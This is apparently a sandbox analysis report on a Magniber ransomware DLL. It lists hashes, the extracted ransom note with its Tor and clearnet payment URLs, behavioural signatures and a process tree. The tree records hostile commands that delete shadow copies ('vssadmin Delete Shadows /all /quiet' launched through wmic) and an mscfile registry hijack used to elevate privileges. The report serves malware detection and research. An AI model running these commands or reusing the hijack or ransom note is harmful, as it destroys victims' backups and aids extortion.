Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
120s -
max time network
146s -
platform
windows7_x64 -
resource
win7-en-20211104 -
submitted
08/11/2021, 23:46
Static task
static1
Behavioral task
behavioral1
Sample
66e5ba1f28fd8c2bd5b1d7374c3da559.dll
Resource
win7-en-20211104
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
66e5ba1f28fd8c2bd5b1d7374c3da559.dll
Resource
win10-en-20211104
windows10_x64
0 signatures
0 seconds
General
-
Target
66e5ba1f28fd8c2bd5b1d7374c3da559.dll
-
Size
38KB
-
MD5
66e5ba1f28fd8c2bd5b1d7374c3da559
-
SHA1
6aba0f311c91ddd9c803641d45b999c5dc4d5c89
-
SHA256
f89425aa13ac58d54c13838db27b6adb2a03a427b801fe1c7842c48a5e05c348
-
SHA512
0d51a5c979d3e7bfe3a884c33691462b5893d934b7a6bc91fe0c6f1bf4347532f7350c190946e823e86098f38674124e5f2f71d94064b7a405431881d65efea8
Score
10/10
Malware Config
Extracted
Path
C:\Users\Admin\Desktop\readme.txt
Family
magniber
Ransom Note
ALL YOUR DOCUMENTS PHOTOS DATABASES AND OTHER IMPORTANT FILES HAVE BEEN ENCRYPTED!
====================================================================================================
Your files are NOT damaged! Your files are modified only. This modification is reversible.
The only 1 way to decrypt your files is to receive the private key and decryption program.
Any attempts to restore your files with the third party software will be fatal for your files!
====================================================================================================
To receive the private key and decryption program follow the instructions below:
1. Download "Tor Browser" from https://www.torproject.org/ and install it.
2. In the "Tor Browser" open your personal page here:
http://3818c430422cd6803amqvhpqvv.vyewxn2lkxrihikeunagqqoakralogk5ze5vaxrkahvkjdug6rcwdsqd.onion/mqvhpqvv
Note! This page is available via "Tor Browser" only.
====================================================================================================
Also you can use temporary addresses on your personal page without using "Tor Browser":
http://3818c430422cd6803amqvhpqvv.oddson.quest/mqvhpqvv
http://3818c430422cd6803amqvhpqvv.dearbet.sbs/mqvhpqvv
http://3818c430422cd6803amqvhpqvv.hateme.uno/mqvhpqvv
http://3818c430422cd6803amqvhpqvv.legcore.space/mqvhpqvv
Note! These are temporary addresses! They will be available for a limited amount of time!
URLs
http://3818c430422cd6803amqvhpqvv.vyewxn2lkxrihikeunagqqoakralogk5ze5vaxrkahvkjdug6rcwdsqd.onion/mqvhpqvv
http://3818c430422cd6803amqvhpqvv.oddson.quest/mqvhpqvv
http://3818c430422cd6803amqvhpqvv.dearbet.sbs/mqvhpqvv
http://3818c430422cd6803amqvhpqvv.hateme.uno/mqvhpqvv
http://3818c430422cd6803amqvhpqvv.legcore.space/mqvhpqvv
Signatures
-
Magniber Ransomware
Ransomware family widely seen in Asia being distributed by the Magnitude exploit kit.
-
Process spawned unexpected child process 12 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1836 956 cmd.exe 37 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1628 956 vssadmin.exe 37 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1100 956 vssadmin.exe 37 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1244 956 vssadmin.exe 37 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1724 956 cmd.exe 37 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1176 956 vssadmin.exe 37 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 228 956 vssadmin.exe 37 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1952 956 cmd.exe 37 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 936 956 vssadmin.exe 37 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1080 956 vssadmin.exe 37 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 204 956 cmd.exe 37 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 620 956 vssadmin.exe 37 -
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
-
Modifies extensions of user files 11 IoCs
Ransomware generally changes the extension on encrypted files.
description ioc Process File renamed C:\Users\Admin\Pictures\InvokeOut.png => C:\Users\Admin\Pictures\InvokeOut.png.mqvhpqvv taskhost.exe File renamed C:\Users\Admin\Pictures\ApproveRepair.raw => C:\Users\Admin\Pictures\ApproveRepair.raw.mqvhpqvv taskhost.exe File renamed C:\Users\Admin\Pictures\FindCompare.crw => C:\Users\Admin\Pictures\FindCompare.crw.mqvhpqvv taskhost.exe File renamed C:\Users\Admin\Pictures\UpdateCheckpoint.raw => C:\Users\Admin\Pictures\UpdateCheckpoint.raw.mqvhpqvv taskhost.exe File opened for modification C:\Users\Admin\Pictures\EditTrace.tiff taskhost.exe File renamed C:\Users\Admin\Pictures\EditTrace.tiff => C:\Users\Admin\Pictures\EditTrace.tiff.mqvhpqvv taskhost.exe File renamed C:\Users\Admin\Pictures\HideUpdate.tif => C:\Users\Admin\Pictures\HideUpdate.tif.mqvhpqvv taskhost.exe File renamed C:\Users\Admin\Pictures\ConvertWatch.tif => C:\Users\Admin\Pictures\ConvertWatch.tif.mqvhpqvv taskhost.exe File renamed C:\Users\Admin\Pictures\LimitRename.png => C:\Users\Admin\Pictures\LimitRename.png.mqvhpqvv taskhost.exe File opened for modification C:\Users\Admin\Pictures\SplitAssert.tiff taskhost.exe File renamed C:\Users\Admin\Pictures\SplitAssert.tiff => C:\Users\Admin\Pictures\SplitAssert.tiff.mqvhpqvv taskhost.exe -
Suspicious use of SetThreadContext 3 IoCs
description pid Process procid_target PID 780 set thread context of 1264 780 rundll32.exe 14 PID 780 set thread context of 1356 780 rundll32.exe 13 PID 780 set thread context of 1424 780 rundll32.exe 11 -
Interacts with shadow copies 2 TTPs 8 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 228 vssadmin.exe 936 vssadmin.exe 1080 vssadmin.exe 620 vssadmin.exe 1628 vssadmin.exe 1100 vssadmin.exe 1244 vssadmin.exe 1176 vssadmin.exe -
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no" iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\en-US = "en-US.1" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\InternetRegistry iexplore.exe Key created \REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain iexplore.exe Key created \REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\Main IEXPLORE.EXE Set value (data) \REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000bb601b266500a1439caac4cd216a44ab00000000020000000000106600000001000020000000d9d33564bb4c324b774011e70823ae935d03adbb6b96330e7a8313198fc9cc18000000000e8000000002000020000000624b69e5391fcd3604d50cce3d92f5e472528baa2e304ef420235af914ee5fab20000000f12a50a2b973910c0d0cee853f098768e92db20de94fa1b478f527439adb3dee40000000fc0f7f84e6ac62e8c8d98d251c8a5c9fc90cc61a8a60b9f84b6d88761ce9f6673c83cd13619bef3c2ec62aab7baed092d0a3ec1093bbdb8096b738b97c542ced iexplore.exe Key created \REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\PageSetup iexplore.exe Key created \REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch iexplore.exe Key created \REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\Main iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{AA1F5B11-40ED-11EC-A574-C2AE4504B8CD} = "0" iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\Toolbar iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000 iexplore.exe Key created \REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "343179984" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\GPU iexplore.exe Key created \REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0" iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = e0869884fad4d701 iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\MFV = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000bb601b266500a1439caac4cd216a44ab00000000020000000000106600000001000020000000787b12a6408f8ec580ceff4b7a77bc217ea1278d6be00add4b9093399f04c288000000000e8000000002000020000000eb01a1820371b733bc2fb396489ae3e5ac72c02c4911421d9bd3c933a87ae4179000000047872518926f14f05ca45290be45a756a5d315fafd3110aa7877af1b451fb5f934e827ad9ee31ee6c4fa80e6817481ed53cab72f23990452af6b23dbcc957d0f4e8c9d3f1a4dfc7b18d3c02b4290c091f56caf93a1765a106db6e8ff7b3cc69261d774aa5c923093bfde5d2c2f88f83511489727ed9847d33784bad20dd8d452d9363f97ec104cf874cb56a6098855b340000000f13b35678e245c54c83e3a259f76eadef7d81d5ffd3f1bd8b30bb6463c567d6e7ff572e4c31ec7acfd746019ce76d9d4e6756ff78da69a6389103b61760cefa4 iexplore.exe Key created \REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\ iexplore.exe Key created \REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\IntelliForms iexplore.exe Key created \REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\LowRegistry iexplore.exe Key created \REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage iexplore.exe Key created \REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\DomainSuggestion iexplore.exe Key created \REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser iexplore.exe Key created \REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive iexplore.exe Key created \REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage iexplore.exe Key created \REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\Zoom iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic iexplore.exe Key created \REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\IETld\LowMic iexplore.exe -
Modifies registry class 11 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000_CLASSES\mscfile\shell\open\command taskhost.exe Key created \REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000_CLASSES\mscfile taskhost.exe Set value (str) \REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\"" taskhost.exe Key created \REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000_CLASSES\mscfile\shell\open\command Dwm.exe Set value (str) \REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\"" Explorer.EXE Key created \REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000_CLASSES\mscfile\shell taskhost.exe Key created \REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000_CLASSES\mscfile\shell\open taskhost.exe Key created \REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000_CLASSES\mscfile\shell\open\command rundll32.exe Set value (str) \REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\"" rundll32.exe Set value (str) \REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\"" Dwm.exe Key created \REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000_CLASSES\mscfile\shell\open\command Explorer.EXE -
Opens file in notepad (likely ransom note) 1 IoCs
pid Process 1908 notepad.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 780 rundll32.exe 780 rundll32.exe -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 1424 Explorer.EXE -
Suspicious behavior: MapViewOfSection 3 IoCs
pid Process 780 rundll32.exe 780 rundll32.exe 780 rundll32.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 1424 Explorer.EXE Token: SeIncreaseQuotaPrivilege 1972 WMIC.exe Token: SeSecurityPrivilege 1972 WMIC.exe Token: SeTakeOwnershipPrivilege 1972 WMIC.exe Token: SeLoadDriverPrivilege 1972 WMIC.exe Token: SeSystemProfilePrivilege 1972 WMIC.exe Token: SeSystemtimePrivilege 1972 WMIC.exe Token: SeProfSingleProcessPrivilege 1972 WMIC.exe Token: SeIncBasePriorityPrivilege 1972 WMIC.exe Token: SeCreatePagefilePrivilege 1972 WMIC.exe Token: SeBackupPrivilege 1972 WMIC.exe Token: SeRestorePrivilege 1972 WMIC.exe Token: SeShutdownPrivilege 1972 WMIC.exe Token: SeDebugPrivilege 1972 WMIC.exe Token: SeSystemEnvironmentPrivilege 1972 WMIC.exe Token: SeRemoteShutdownPrivilege 1972 WMIC.exe Token: SeUndockPrivilege 1972 WMIC.exe Token: SeManageVolumePrivilege 1972 WMIC.exe Token: 33 1972 WMIC.exe Token: 34 1972 WMIC.exe Token: 35 1972 WMIC.exe Token: SeShutdownPrivilege 1424 Explorer.EXE Token: SeShutdownPrivilege 1424 Explorer.EXE Token: SeIncreaseQuotaPrivilege 1972 WMIC.exe Token: SeSecurityPrivilege 1972 WMIC.exe Token: SeTakeOwnershipPrivilege 1972 WMIC.exe Token: SeLoadDriverPrivilege 1972 WMIC.exe Token: SeSystemProfilePrivilege 1972 WMIC.exe Token: SeSystemtimePrivilege 1972 WMIC.exe Token: SeProfSingleProcessPrivilege 1972 WMIC.exe Token: SeIncBasePriorityPrivilege 1972 WMIC.exe Token: SeCreatePagefilePrivilege 1972 WMIC.exe Token: SeBackupPrivilege 1972 WMIC.exe Token: SeRestorePrivilege 1972 WMIC.exe Token: SeShutdownPrivilege 1972 WMIC.exe Token: SeDebugPrivilege 1972 WMIC.exe Token: SeSystemEnvironmentPrivilege 1972 WMIC.exe Token: SeRemoteShutdownPrivilege 1972 WMIC.exe Token: SeUndockPrivilege 1972 WMIC.exe Token: SeManageVolumePrivilege 1972 WMIC.exe Token: 33 1972 WMIC.exe Token: 34 1972 WMIC.exe Token: 35 1972 WMIC.exe Token: SeIncreaseQuotaPrivilege 924 wmic.exe Token: SeSecurityPrivilege 924 wmic.exe Token: SeTakeOwnershipPrivilege 924 wmic.exe Token: SeLoadDriverPrivilege 924 wmic.exe Token: SeSystemProfilePrivilege 924 wmic.exe Token: SeSystemtimePrivilege 924 wmic.exe Token: SeProfSingleProcessPrivilege 924 wmic.exe Token: SeIncBasePriorityPrivilege 924 wmic.exe Token: SeCreatePagefilePrivilege 924 wmic.exe Token: SeBackupPrivilege 924 wmic.exe Token: SeRestorePrivilege 924 wmic.exe Token: SeShutdownPrivilege 924 wmic.exe Token: SeDebugPrivilege 924 wmic.exe Token: SeSystemEnvironmentPrivilege 924 wmic.exe Token: SeRemoteShutdownPrivilege 924 wmic.exe Token: SeUndockPrivilege 924 wmic.exe Token: SeManageVolumePrivilege 924 wmic.exe Token: 33 924 wmic.exe Token: 34 924 wmic.exe Token: 35 924 wmic.exe Token: SeIncreaseQuotaPrivilege 924 wmic.exe -
Suspicious use of FindShellTrayWindow 3 IoCs
pid Process 1424 Explorer.EXE 1424 Explorer.EXE 1184 iexplore.exe -
Suspicious use of SendNotifyMessage 14 IoCs
pid Process 1424 Explorer.EXE 1424 Explorer.EXE 1424 Explorer.EXE 1424 Explorer.EXE 1424 Explorer.EXE 1424 Explorer.EXE 1424 Explorer.EXE 1424 Explorer.EXE 1424 Explorer.EXE 1424 Explorer.EXE 1424 Explorer.EXE 1424 Explorer.EXE 1424 Explorer.EXE 1424 Explorer.EXE -
Suspicious use of SetWindowsHookEx 6 IoCs
pid Process 1184 iexplore.exe 1184 iexplore.exe 1836 IEXPLORE.EXE 1836 IEXPLORE.EXE 1836 IEXPLORE.EXE 1836 IEXPLORE.EXE -
Suspicious use of UnmapMainImage 1 IoCs
pid Process 1424 Explorer.EXE -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1264 wrote to memory of 1908 1264 taskhost.exe 29 PID 1264 wrote to memory of 1908 1264 taskhost.exe 29 PID 1264 wrote to memory of 1908 1264 taskhost.exe 29 PID 1264 wrote to memory of 688 1264 taskhost.exe 30 PID 1264 wrote to memory of 688 1264 taskhost.exe 30 PID 1264 wrote to memory of 688 1264 taskhost.exe 30 PID 1264 wrote to memory of 924 1264 taskhost.exe 32 PID 1264 wrote to memory of 924 1264 taskhost.exe 32 PID 1264 wrote to memory of 924 1264 taskhost.exe 32 PID 1264 wrote to memory of 1968 1264 taskhost.exe 31 PID 1264 wrote to memory of 1968 1264 taskhost.exe 31 PID 1264 wrote to memory of 1968 1264 taskhost.exe 31 PID 1968 wrote to memory of 1972 1968 cmd.exe 34 PID 1968 wrote to memory of 1972 1968 cmd.exe 34 PID 1968 wrote to memory of 1972 1968 cmd.exe 34 PID 1836 wrote to memory of 1176 1836 cmd.exe 42 PID 1836 wrote to memory of 1176 1836 cmd.exe 42 PID 1836 wrote to memory of 1176 1836 cmd.exe 42 PID 688 wrote to memory of 1184 688 cmd.exe 44 PID 688 wrote to memory of 1184 688 cmd.exe 44 PID 688 wrote to memory of 1184 688 cmd.exe 44 PID 1176 wrote to memory of 924 1176 vssadmin.exe 47 PID 1176 wrote to memory of 924 1176 vssadmin.exe 47 PID 1176 wrote to memory of 924 1176 vssadmin.exe 47 PID 1184 wrote to memory of 1836 1184 iexplore.exe 51 PID 1184 wrote to memory of 1836 1184 iexplore.exe 51 PID 1184 wrote to memory of 1836 1184 iexplore.exe 51 PID 1184 wrote to memory of 1836 1184 iexplore.exe 51 PID 780 wrote to memory of 1176 780 rundll32.exe 64 PID 780 wrote to memory of 1176 780 rundll32.exe 64 PID 780 wrote to memory of 1176 780 rundll32.exe 64 PID 780 wrote to memory of 1128 780 rundll32.exe 53 PID 780 wrote to memory of 1128 780 rundll32.exe 53 PID 780 wrote to memory of 1128 780 rundll32.exe 53 PID 1128 wrote to memory of 1400 1128 cmd.exe 56 PID 1128 wrote to memory of 1400 1128 cmd.exe 56 PID 1128 wrote to memory of 1400 1128 cmd.exe 56 PID 1724 wrote to memory of 1732 1724 cmd.exe 61 PID 1724 wrote to memory of 1732 1724 cmd.exe 61 PID 1724 wrote to memory of 1732 1724 cmd.exe 61 PID 1732 wrote to memory of 1648 1732 CompMgmtLauncher.exe 62 PID 1732 wrote to memory of 1648 1732 CompMgmtLauncher.exe 62 PID 1732 wrote to memory of 1648 1732 CompMgmtLauncher.exe 62 PID 1356 wrote to memory of 936 1356 Dwm.exe 70 PID 1356 wrote to memory of 936 1356 Dwm.exe 70 PID 1356 wrote to memory of 936 1356 Dwm.exe 70 PID 1356 wrote to memory of 1904 1356 Dwm.exe 69 PID 1356 wrote to memory of 1904 1356 Dwm.exe 69 PID 1356 wrote to memory of 1904 1356 Dwm.exe 69 PID 1904 wrote to memory of 924 1904 cmd.exe 71 PID 1904 wrote to memory of 924 1904 cmd.exe 71 PID 1904 wrote to memory of 924 1904 cmd.exe 71 PID 1952 wrote to memory of 1244 1952 cmd.exe 76 PID 1952 wrote to memory of 1244 1952 cmd.exe 76 PID 1952 wrote to memory of 1244 1952 cmd.exe 76 PID 1244 wrote to memory of 1580 1244 CompMgmtLauncher.exe 77 PID 1244 wrote to memory of 1580 1244 CompMgmtLauncher.exe 77 PID 1244 wrote to memory of 1580 1244 CompMgmtLauncher.exe 77 PID 1424 wrote to memory of 232 1424 Explorer.EXE 83 PID 1424 wrote to memory of 232 1424 Explorer.EXE 83 PID 1424 wrote to memory of 232 1424 Explorer.EXE 83 PID 1424 wrote to memory of 1156 1424 Explorer.EXE 81 PID 1424 wrote to memory of 1156 1424 Explorer.EXE 81 PID 1424 wrote to memory of 1156 1424 Explorer.EXE 81
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of UnmapMainImage
- Suspicious use of WriteProcessMemory
PID:1424 -
C:\Windows\system32\rundll32.exerundll32.exe C:\Users\Admin\AppData\Local\Temp\66e5ba1f28fd8c2bd5b1d7374c3da559.dll,#12⤵
- Suspicious use of SetThreadContext
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:780 -
C:\Windows\system32\wbem\wmic.exeC:\Windows\system32\wbem\wmic process call create "vssadmin.exe Delete Shadows /all /quiet"3⤵PID:1176
-
-
C:\Windows\system32\cmd.execmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""3⤵
- Suspicious use of WriteProcessMemory
PID:1128 -
C:\Windows\system32\wbem\WMIC.exeC:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"4⤵PID:1400
-
-
-
-
C:\Windows\system32\cmd.execmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""2⤵PID:1156
-
C:\Windows\system32\wbem\WMIC.exeC:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"3⤵PID:1624
-
-
-
C:\Windows\system32\wbem\wmic.exeC:\Windows\system32\wbem\wmic process call create "vssadmin.exe Delete Shadows /all /quiet"2⤵PID:232
-
-
C:\Windows\system32\Dwm.exe"C:\Windows\system32\Dwm.exe"1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1356 -
C:\Windows\system32\cmd.execmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""2⤵
- Suspicious use of WriteProcessMemory
PID:1904 -
C:\Windows\system32\wbem\WMIC.exeC:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"3⤵PID:924
-
-
-
C:\Windows\system32\wbem\wmic.exeC:\Windows\system32\wbem\wmic process call create "vssadmin.exe Delete Shadows /all /quiet"2⤵PID:936
-
-
C:\Windows\system32\taskhost.exe"taskhost.exe"1⤵
- Modifies extensions of user files
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1264 -
C:\Windows\system32\notepad.exenotepad.exe C:\Users\Public\readme.txt2⤵
- Opens file in notepad (likely ransom note)
PID:1908
-
-
C:\Windows\system32\cmd.execmd /c "start http://3818c430422cd6803amqvhpqvv.oddson.quest/mqvhpqvv^&1^&40019457^&74^&351^&12"2⤵
- Suspicious use of WriteProcessMemory
PID:688 -
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" http://3818c430422cd6803amqvhpqvv.oddson.quest/mqvhpqvv&1&40019457&74&351&123⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1184 -
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1184 CREDAT:275457 /prefetch:24⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
PID:1836
-
-
-
-
C:\Windows\system32\cmd.execmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""2⤵
- Suspicious use of WriteProcessMemory
PID:1968 -
C:\Windows\system32\wbem\WMIC.exeC:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1972
-
-
-
C:\Windows\system32\wbem\wmic.exeC:\Windows\system32\wbem\wmic process call create "vssadmin.exe Delete Shadows /all /quiet"2⤵
- Suspicious use of AdjustPrivilegeToken
PID:924
-
-
C:\Windows\system32\cmd.execmd /c CompMgmtLauncher.exe1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1836 -
C:\Windows\system32\CompMgmtLauncher.exeCompMgmtLauncher.exe2⤵PID:1176
-
C:\Windows\system32\wbem\wmic.exe"C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"3⤵PID:924
-
-
-
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:1628
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵PID:1468
-
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:1100
-
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:1244
-
C:\Windows\system32\cmd.execmd /c CompMgmtLauncher.exe1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1724 -
C:\Windows\system32\CompMgmtLauncher.exeCompMgmtLauncher.exe2⤵
- Suspicious use of WriteProcessMemory
PID:1732 -
C:\Windows\system32\wbem\wmic.exe"C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"3⤵PID:1648
-
-
-
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
- Suspicious use of WriteProcessMemory
PID:1176
-
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:228
-
C:\Windows\system32\cmd.execmd /c CompMgmtLauncher.exe1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1952 -
C:\Windows\system32\CompMgmtLauncher.exeCompMgmtLauncher.exe2⤵
- Suspicious use of WriteProcessMemory
PID:1244 -
C:\Windows\system32\wbem\wmic.exe"C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"3⤵PID:1580
-
-
-
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:936
-
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:1080
-
C:\Windows\system32\cmd.execmd /c CompMgmtLauncher.exe1⤵
- Process spawned unexpected child process
PID:204 -
C:\Windows\system32\CompMgmtLauncher.exeCompMgmtLauncher.exe2⤵PID:208
-
